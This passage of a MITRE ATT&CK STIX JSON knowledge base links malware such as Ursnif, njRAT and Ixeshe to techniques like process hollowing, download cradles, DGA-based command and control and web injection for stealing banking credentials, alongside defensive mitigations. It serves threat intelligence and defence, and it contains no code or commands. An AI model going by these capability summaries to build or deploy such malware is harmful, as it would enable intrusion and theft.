                    "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/",
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                }
            ],
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            "relationship_type": "uses",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) can identify remote hosts on connected networks.(Citation: Fidelis njRAT June 2013)",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
                }
            ],
            "description": "[njRAT](https://attack.mitre.org/software/S0385) can collect data from a local system.(Citation: Fidelis njRAT June 2013)",
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                    "source_name": "TrendMicro Ursnif Mar 2015",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992",
                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has deleted data staged in tmp files after exfiltration.(Citation: TrendMicro Ursnif Mar 2015)",
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                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used tmp files to stage gathered information.(Citation: TrendMicro Ursnif Mar 2015)",
            "relationship_type": "uses",
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                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992",
                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."
                },
                {
                    "source_name": "TrendMicro BKDR_URSNIF.SM",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279",
                    "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Reg](https://attack.mitre.org/software/S0075) to query the Registry for installed programs.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro BKDR_URSNIF.SM)",
            "relationship_type": "uses",
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                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992",
                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."
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                {
                    "description": "Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/",
                    "source_name": "TrendMicro Ursnif File Dec 2014"
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has copied itself to and infected files in network drives for propagation.(Citation: TrendMicro Ursnif Mar 2015)(Citation: TrendMicro Ursnif File Dec 2014)",
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            "id": "relationship--f5faa97f-761c-4978-8535-2d9a42fcdd6f",
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                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279",
                    "source_name": "TrendMicro PE_URSNIF.A2"
                },
                {
                    "source_name": "TrendMicro BKDR_URSNIF.SM",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279",
                    "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has dropped payload and configuration files to disk. [Ursnif](https://attack.mitre.org/software/S0386) has also been used to download and execute additional payloads.(Citation: TrendMicro PE_URSNIF.A2)(Citation: TrendMicro BKDR_URSNIF.SM)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
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                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992",
                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather system information.(Citation: TrendMicro Ursnif Mar 2015)",
            "relationship_type": "uses",
            "id": "relationship--b892d69f-bdfc-48e8-83f5-3081b9bffa4a",
            "type": "relationship",
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        {
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            "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "description": "Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279",
                    "source_name": "TrendMicro PE_URSNIF.A2"
                },
                {
                    "source_name": "TrendMicro BKDR_URSNIF.SM",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279",
                    "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used Registry Run keys to establish automatic execution at system startup.(Citation: TrendMicro PE_URSNIF.A2)(Citation: TrendMicro BKDR_URSNIF.SM)",
            "relationship_type": "uses",
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                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."
                },
                {
                    "description": "Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/",
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                }
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                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019."
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                    "description": "Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."
                },
                {
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                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019."
                },
                {
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality",
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            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used HTTPS for C2.(Citation: TrendMicro Ursnif Mar 2015)(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)",
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                    "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."
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            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has injected HTML codes into banking sites to steal sensitive online banking information (ex: usernames and passwords).(Citation: TrendMicro BKDR_URSNIF.SM)",
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            ],
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                    "description": "Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."
                },
                {
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality",
                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used Registry modifications as part of its installation routine.(Citation: TrendMicro BKDR_URSNIF.SM)(Citation: ProofPoint Ursnif Aug 2016)",
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality",
                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a custom packet format over TCP and UDP for a peer-to-peer (P2P) network for C2.(Citation: ProofPoint Ursnif Aug 2016)",
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            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used crypto key information stored in the Registry to decrypt Tor clients dropped to disk.(Citation: ProofPoint Ursnif Aug 2016)",
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            "external_references": [
                {
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                    "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality",
                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."
                },
                {
                    "source_name": "Bromium Ursnif Mar 2017",
                    "url": "https://www.bromium.com/how-ursnif-evades-detection/",
                    "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019."
                }
            ],
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                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used encoded data in HTTP URLs for C2.(Citation: ProofPoint Ursnif Aug 2016)\t",
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                    "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used a DGA to generate domain names for C2.(Citation: ProofPoint Ursnif Aug 2016)",
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                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019."
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            "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used process hollowing to inject into child processes.(Citation: FireEye Ursnif Nov 2017)",
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                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019."
                }
            ],
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            "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can collect data from a local system.(Citation: Trend Micro IXESHE 2012)",
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            ],
            "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can list running services.(Citation: Trend Micro IXESHE 2012)",
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                    "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."
                }
            ],
            "description": "[Ixeshe](https://attack.mitre.org/software/S0015) can list file and directory information.(Citation: Trend Micro IXESHE 2012)",
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                }
            ],
            "description": "[Ixeshe](https://attack.mitre.org/software/S0015) is capable of executing commands via [cmd](https://attack.mitre.org/software/S0106).(Citation: Trend Micro IXESHE 2012)",
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                }
            ],
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            ],
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                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
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                    "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf",
                    "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."
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                    "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."
                }
            ],
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                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
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            "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) has used port 443 for C2 communications.(Citation: Proofpoint TA505 Jan 2019)",
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                {
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            ],
            "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has used TCP port 443 for C2.(Citation: Trend Micro IXESHE 2012)",
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                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
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            "description": "(Citation: FireEye APT33 Sept 2017)",
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                {
                    "source_name": "Meyers Numbered Panda",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
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                }
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            "description": "[APT12](https://attack.mitre.org/groups/G0005) has used blogs and WordPress for C2 infrastructure.(Citation: Meyers Numbered Panda)",
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                    "url": "https://www.bromium.com/how-ursnif-evades-detection/",
                    "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019."
                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used COM objects to execute the malware's full executable payload.(Citation: Bromium Ursnif Mar 2017)",
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                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)",
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                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used PowerShell in download cradles to download and execute the malware's full executable payload.(Citation: Bromium Ursnif Mar 2017)",
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                }
            ],
            "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used VBA macros to download and execute the malware's full executable payload.(Citation: Bromium Ursnif Mar 2017)",
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                    "source_name": "Carbon Black Emotet Apr 2019"
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            "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
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            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "relationship_type": "mitigates",
            "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)",
            "id": "relationship--b82ceba5-d988-472d-acd4-b7b1bc49ebbc",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object",
                    "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Create Token"
                },
                {
                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token",
                    "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.",
                    "source_name": "Microsoft Replace Process Token"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/bb490994.aspx",
                    "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.",
                    "source_name": "Microsoft runas"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-24T13:40:53.284Z",
            "created": "2019-06-13T15:56:45.879Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "relationship_type": "mitigates",
            "id": "relationship--7106aee3-498a-46b6-a851-8de1289c26d4",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx",
                    "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.",
                    "source_name": "TechNet RDP NLA"
                }
            ],
            "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)",
            "type": "relationship",
            "modified": "2020-01-24T14:33:05.834Z",
            "created": "2019-06-13T15:59:46.281Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f",
            "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "relationship_type": "mitigates",
            "id": "relationship--f2107311-d59b-4b7e-97d5-b3c0a77835b6",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx",
                    "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.",
                    "source_name": "TechNet RDP Gateway"
                }
            ],
            "description": "If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)",
            "type": "relationship",
            "modified": "2020-01-24T14:33:05.883Z",
            "created": "2019-06-13T15:59:46.332Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
            "relationship_type": "mitigates",
            "id": "relationship--620d641c-8f76-45f3-a86f-03dd28399d5c",
            "external_references": [
                {
                    "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
                    "source_name": "UCF STIG Elevation Account Enumeration"
                }
            ],
            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)",
            "type": "relationship",
            "modified": "2021-04-14T12:26:11.844Z",
            "created": "2019-06-13T16:02:06.717Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "relationship_type": "mitigates",
            "id": "relationship--9ffc8525-79a5-40a2-b371-46052daf66c5",
            "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
            "type": "relationship",
            "modified": "2021-04-20T16:21:28.892Z",
            "created": "2019-06-13T16:04:04.082Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "relationship_type": "mitigates",
            "id": "relationship--21ea4371-e692-4731-9f8c-c3f4dff3c775",
            "description": "Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.",
            "type": "relationship",
            "modified": "2021-04-20T16:21:28.962Z",
            "created": "2019-06-13T16:04:04.168Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "relationship_type": "mitigates",
            "id": "relationship--74e433ec-0c52-42f2-b0d4-3e1f3a56b419",
            "description": "Use multi-factor authentication for user and privileged accounts.",
            "type": "relationship",
            "modified": "2021-04-20T16:21:28.925Z",
            "created": "2019-06-13T16:04:04.180Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312",
            "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
            "relationship_type": "mitigates",
            "id": "relationship--b8004278-152f-44bf-a24c-8a236e6369db",
            "external_references": [
                {
                    "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/",
                    "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.",
                    "source_name": "applescript signing"
                }
            ],
            "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.(Citation: applescript signing) This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.",
            "type": "relationship",
            "modified": "2020-03-09T14:09:09.034Z",
            "created": "2019-06-13T16:07:32.272Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b",
            "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "relationship_type": "mitigates",
            "id": "relationship--f767f3cf-3c2a-4bed-88e0-d088471edded",
            "description": "Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
            "type": "relationship",
            "modified": "2020-03-23T15:40:51.380Z",
            "created": "2019-06-13T16:10:48.292Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "relationship_type": "mitigates",
            "id": "relationship--db21d02a-539f-45fd-be5c-80d90ee276dc",
            "description": "Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication.",
            "type": "relationship",
            "modified": "2020-03-23T15:40:51.381Z",
            "created": "2019-06-13T16:10:48.305Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312",
            "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "relationship_type": "mitigates",
            "id": "relationship--cf01aef4-c032-453e-a890-b7a01e744d9e",
            "description": "If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
            "type": "relationship",
            "modified": "2020-03-23T15:40:51.376Z",
            "created": "2019-06-13T16:10:48.347Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
            "relationship_type": "mitigates",
            "id": "relationship--b79e03bb-a4c0-4724-bd4c-1286a3fd8d6a",
            "description": "Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
            "type": "relationship",
            "modified": "2020-01-24T15:00:47.379Z",
            "created": "2019-06-13T16:13:06.846Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1",
            "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
            "relationship_type": "mitigates",
            "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "id": "relationship--a8377ce6-74bc-4115-8298-57da0f828e5a",
            "external_references": [
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T15:43:25.427Z",
            "created": "2019-06-13T16:38:06.135Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "relationship_type": "mitigates",
            "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means.",
            "id": "relationship--4df90c69-8ac5-4f22-b0cf-dd4debb8e051",
            "type": "relationship",
            "modified": "2020-03-31T22:18:43.144Z",
            "created": "2019-06-13T16:43:14.999Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "relationship_type": "mitigates",
            "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. Strong passwords should be used on certain encrypted documents that use them to prevent offline cracking through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.",
            "id": "relationship--967c7069-6bb3-4f10-ba6b-5befdabe6c97",
            "type": "relationship",
            "modified": "2020-03-31T22:18:43.158Z",
            "created": "2019-06-13T16:43:15.017Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "relationship_type": "mitigates",
            "description": "\nConsider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS</code>.(Citation: Microsoft BITS)",
            "id": "relationship--57d1a497-ef75-46de-b284-eefa90a99172",
            "external_references": [
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
                    "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "source_name": "Microsoft BITS"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-13T21:36:05.231Z",
            "created": "2019-06-13T16:47:55.972Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "relationship_type": "mitigates",
            "description": "Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.",
            "id": "relationship--4b4d8f9e-a416-4af6-9c20-582892601668",
            "type": "relationship",
            "modified": "2021-04-13T21:36:05.235Z",
            "created": "2019-06-13T16:47:56.005Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to install a bootkit.",
            "id": "relationship--99e9cb52-5893-41c2-bd96-def10ccecfe9",
            "type": "relationship",
